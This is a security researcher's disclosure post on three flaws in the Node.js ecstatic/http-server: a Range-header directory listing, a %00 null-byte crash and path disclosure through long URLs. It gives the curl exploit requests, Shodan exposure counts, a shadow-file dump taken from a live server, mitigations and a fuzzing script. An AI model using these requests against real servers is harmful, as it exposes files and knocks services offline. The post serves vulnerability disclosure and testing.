Multiple vulnerabilities in nodejs ecstatic/http-server (http-party)

I’ve been fuzzing http-server for a few days now and I found 3 interesting vulnerabilities which may affect versions 2.2.1 (some), 3.3.2, 3.3.1, 3.3.0 and 4.1.2 of ecstatic web-server:

  • Directory listing due to insecure default configuration + “range: 10000” HTTP header
  • Denial of Service by sending the %00 null character in the URL
  • Internal path disclosure caused by a long URL

According to shodan there are up to 5k ecstatic webservers

Summary

  1. Set up http-server locally
  2. Directory listing
  3. Denial of Service
  4. Internal path disclosure
  5. Fuzzing input

1. Set up http-server locally

First we clone the repo, install the dependencies and start the webserver. Once done, we can access http://127.0.0.1:8080 and start fuzzing it.

x@ubuntu: git clone hxxps://github.com/http-party/http-server
x@ubuntu: cd http-server
x@ubuntu: npm i
x@ubuntu: node bin/http-server
Starting up http-server, serving ./public
Available on:
  hxxp://127.0.0.1:8080
  hxxp://192.168.136.160:8080
  hxxp://10.8.4.3:8080
Hit CTRL-C to stop the server

The public directory content shows the structure of the content available through the web interface

http-server-js/public: tree
.
├── 404.html
├── img
│   └── turtle.png
└── index.html

1 directory, 3 files

2. Directory listing

http-server is using node-ecstatic, and they both have directory listing enabled by default (but why?). This is not recommended because the directory may contain files that are not normally exposed through links on the web site i.e: keys, configuration, authentication bypass, etc.

http-server
Available Options:

-p or --port Port to use (defaults to 8080)
-a Address to use (defaults to 0.0.0.0)
-d Show directory listings (defaults to true)
node-ecstatic
{
  "autoIndex": true,
  "showDir": true,
  "showDotfiles": true,
  "humanReadable": true,
  "hidePermissions": false,
  "si": false,
[..]
}

While these are configured to enable directory listing, if we request the “img” folder path listed in the public directory, the server returns 404 (so all good?):

x@ubuntu: curl hxxp://127.0.0.1:8080/img/

<html>
  <head>
    <title>404</title>
  </head>
  <body>
    <h1>404</h1>
    <p>Were you just making up filenames or what?</p>
  </body>
</html>

However during the fuzzing stage, I noticed that some responses from the server are larger than usual due to some extra CSS.

Rendering the HTML page in Burp revealed the directory listing

It seems that adding the "range: 10000" header in the request, makes the server display the directory listing, alongside permissions and dotfiles as specified in the configuration. Weird how this happens only when this header is present:

x@ubuntu: curl -H "Range: 10000" hxxp://127.0.0.1:8080/img/

Searching on shodan for server: "ecstatic" we get around 5000 servers. After testing a few of the results, it appears that at least the following versions are vulnerable by default, unless the server is started explicitly with directory listing disabled (-d false):

  • ecstatic-2.2.1 (some)
  • ecstatic-3.3.2
  • ecstatic-3.3.1
  • ecstatic-3.3.0
  • ecstatic-4.1.2

And then there are people running the http-server as root, with the path set to / ?? (at least it’s a docker)

HTTP/1.1 200 OK
server: ecstatic-2.2.1
cache-control: max-age=3600
content-length: 652
content-type: application/octet-stream; charset=utf-8
Connection: close

root:*:17370:0:99999:7:::
daemon:*:17370:0:99999:7:::
bin:*:17370:0:99999:7:::
sys:*:17370:0:99999:7:::
sync:*:17370:0:99999:7:::
games:*:17370:0:99999:7:::
man:*:17370:0:99999:7:::
lp:*:17370:0:99999:7:::
mail:*:17370:0:99999:7:::
news:*:17370:0:99999:7:::
uucp:*:17370:0:99999:7:::
proxy:*:17370:0:99999:7:::
www-data:*:17370:0:99999:7:::
backup:*:17370:0:99999:7:::
list:*:17370:0:99999:7:::
irc:*:17370:0:99999:7:::
gnats:*:17370:0:99999:7:::
nobody:*:17370:0:99999:7:::
systemd-timesync:*:17370:0:99999:7:::
systemd-network:*:17370:0:99999:7:::
systemd-resolve:*:17370:0:99999:7:::
systemd-bus-proxy:*:17370:0:99999:7:::
node:!:17373:0:99999:7:::
Mitigation

The fix is easy, either edit the lib/http-server.js and set the directory listing to be false by default:

this.showDir = false;

Or start the server with -d false flag. Both of them make the server return a 403 Forbidden for the directory listing:

HTTP/1.1 403 Forbidden
server: ecstatic-2.2.1
Date: Wed, 25 Mar 2020 16:57:50 GMT
Connection: close
Content-Length: 0

3. Denial of Service

The DoS vulnerability is brain-dead and I discovered it while fuzzing the URL path of the webserver. http-server is built on top of ecstatic-3.2.2 which cannot properly handle the null character a.k.a %00 and it crashes the webserver:

curl  hxxp://127.0.0.1:8080/%00
curl: (52) Empty reply from server

..and on the server

internal/fs/utils.js:540
    throw err;
    ^

TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string or Uint8Array without null bytes. Received '/tmp/http-server/public/\u0000'
    at Object.stat (fs.js:920:10)
    at statFile (/tmp/http-server/node_modules/ecstatic/lib/ecstatic.js:350:10)
    at Array.middleware (/tmp/http-server/node_modules/ecstatic/lib/ecstatic.js:460:7)
    at dispatch (/tmp/http-server/node_modules/union/lib/routing-stream.js:110:21)
    at Object.onceWrapper (events.js:427:28)
    at module.exports.emit (events.js:321:20)
    at Array.<anonymous> (/tmp/http-server/lib/http-server.js:98:11)
    at dispatch (/tmp/http-server/node_modules/union/lib/routing-stream.js:119:21)
    at module.exports.RoutingStream.route (/tmp/http-server/node_modules/union/lib/routing-stream.js:121:5)
    at Object.onceWrapper (events.js:428:26) {
  code: 'ERR_INVALID_ARG_VALUE'
}

I didn’t test the DoS exploit on any shodan target, but I guess many of them could be also vulnerable to this.

Mitigation(?)

I don’t have a fix for the DoS, and it seems that they had previous problems with this and this. Furthermore, the project is not actively maintained anymore so yeah – good luck with that.

4. Internal path disclosure

Sending a large directory path will display an ENAMETOOLONG error, along the internal path of where the public directory is placed /home/user/Projects/..:

curl  hxxp://127.0.0.1:8080/`python -c "print 'A'*500"`

Error: ENAMETOOLONG: name too long, stat /home/user/Projects/http-server-js/public/AAA..

5. Fuzzing input

For fuzzing the http-server I used the wikipedia list of request and response headers + radamsa to generate cases derived from these examples:

x@ubuntu: mkdir cases
x@ubuntu: cd cases
x@ubuntu: split -l 1 headers
x@ubuntu: ls x*
xaa  xad  xag  xaj  xam  xap  xas  xav  xay  xbb  xbe  xbh  xbk  xbn  xbq  xbt  xbw  xbz  xcc  xcf  xci  xcl  xco  xcr  xcu  xcx  xda  xdd  xdg  xdj  xdm  xdp  xds  xdv  xdy  xeb
xab  xae  xah  xak  xan  xaq  xat  xaw  xaz  xbc  xbf  xbi  xbl  xbo  xbr  xbu  xbx  xca  xcd  xcg  xcj  xcm  xcp  xcs  xcv  xcy  xdb  xde  xdh  xdk  xdn  xdq  xdt  xdw  xdz
xac  xaf  xai  xal  xao  xar  xau  xax  xba  xbd  xbg  xbj  xbm  xbp  xbs  xbv  xby  xcb  xce  xch  xck  xcn  xcq  xct  xcw  xcz  xdc  xdf  xdi  xdl  xdo  xdr  xdu  xdx  xea

x@ubuntu: for i in `ls x*`; do echo $i; mkdir cases/$i; radamsa -n 10 -o cases/$i/%n.txt $i; done

Now that we generated the cases, we can write a bash script to iterate through them and perform the curl request. For this example I’m using also a proxy on localhost:8081 to save each request-response in Burp for error triaging later:

for i in `ls cases`; do
   for j in `ls cases/$i`; do
      fuzz=`cat cases/$i/$j`
      curl -x http://127.0.0.1:8081 -i -s -k -X $'GET' \
      -H "$fuzz" -H $'Connection: close' \
      $'hxxp://127.0.0.1:8080/' >/dev/null
   done
done

Content of headers:

Accept-Charset: utf-8
Accept-Datetime: Thu, 31 May 2007 20:35:00 GMT
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Accept-Patch: text/example;charset=utf-8
Accept-Ranges: bytes
Accept: text/html
Access-Control-Allow-Origin: *
Access-Control-Request-Method: GET
Age: 12
A-IM: feed
Allow: GET, HEAD
Alt-Svc: http/1.1="http2.example.com:8001"; ma=7200
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control: max-age=0
Cache-Control: max-age=3600
Cache-Control: no-cache
Cache-Control: no-store
Connection: close
Connection: keep-alive
Content-Disposition: attachment; filename="fname.ext"
Content-Encoding: gzip
Content-Language: da
Content-Length: 348
Content-Location: /index.htm
Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
Content-Range: bytes 21010-47021/47022
Content-Security-Policy: upgrade-insecure-requests
Content-Type: application/x-www-form-urlencoded
Content-Type: text/html; charset=utf-8
Cookie: $Version=1; Skin=new;
Date: Tue, 15 Nov 1994 08:12:31 GMT
Delta-Base: "abc"
DNT: 0
DNT: 1
ETag: "737060cd8c284d8af7ad3082f209582d"
Expect: 100-continue
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Forwarded: for=192.0.2.43, for=198.51.100.17
Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43
From: user@example.com
Front-End-Https: on
Host: en.wikipedia.org
Host: en.wikipedia.org:8080
HTTP2-Settings: token64
If-Match: "737060cd8c284d8af7ad3082f209582d"
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT
If-None-Match: "737060cd8c284d8af7ad3082f209582d"
If-Range: "737060cd8c284d8af7ad3082f209582d"
If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 GMT
IM: feed
Last-Modified: Tue, 15 Nov 1994 12:45:26 GMT
Link: </feed>; rel="alternate"
Location: http://www.w3.org/pub/WWW/People.html
Location: /pub/WWW/People.html
Max-Forwards: 10
Origin: http://www.example-social-network.com
P3P: CP="This is not a P3P policy! See https://en.wikipedia.org/wiki/Special:CentralAutoLogin/P3P for more info."
P3P:CP="your_compact_policy"
Pragma: no-cache
Proxy-Authenticate: Basic
Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Proxy-Connection: keep-alive
Public-Key-Pins: max-age=2592000; pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";
Range: bytes=500-999
Referer: http://en.wikipedia.org/wiki/Main_Page
Refresh: 5; url=http://www.w3.org/pub/WWW/People.html
Retry-After: 120
Retry-After: Fri, 07 Nov 2014 23:59:59 GMT
Server: Apache/2.4.1 (Unix)
Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1
Status: 200 OK 
Strict-Transport-Security: max-age=16070400; includeSubDomains
TE: trailers, deflate 
Timing-Allow-Origin: *
Timing-Allow-Origin: <origin>[, <origin>]*
Tk: !
Tk: ?
Tk: G
Tk: N
Tk: T
Tk: C
Tk: P
Tk: D
Tk: U
Trailer: Max-Forwards
Transfer-Encoding: chunked
Upgrade: h2c, HTTPS/1.3, IRC/6.9, RTA/x11, websocket
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Vary: *
Vary: Accept-Language
Via: 1.0 fred, 1.1 example.com (Apache/1.1)
Warning: 199 Miscellaneous warning
WWW-Authenticate: Basic
X-Att-Deviceid: GT-P7320/P7320XXLPG
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
X-Forwarded-For: 129.78.138.66, 129.78.64.103
X-Forwarded-For: client1, proxy1, proxy2
X-Forwarded-Host: en.wikipedia.org
X-Forwarded-Host: en.wikipedia.org:8080
X-Forwarded-Proto: https
X-Frame-Options: deny
X-HTTP-Method-Override: DELETE
X-Requested-With: XMLHttpRequest
X-UIDH: ...
x-wap-profile: http://wap.samsungmobile.com/uaprof/SGH-I777.xml

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s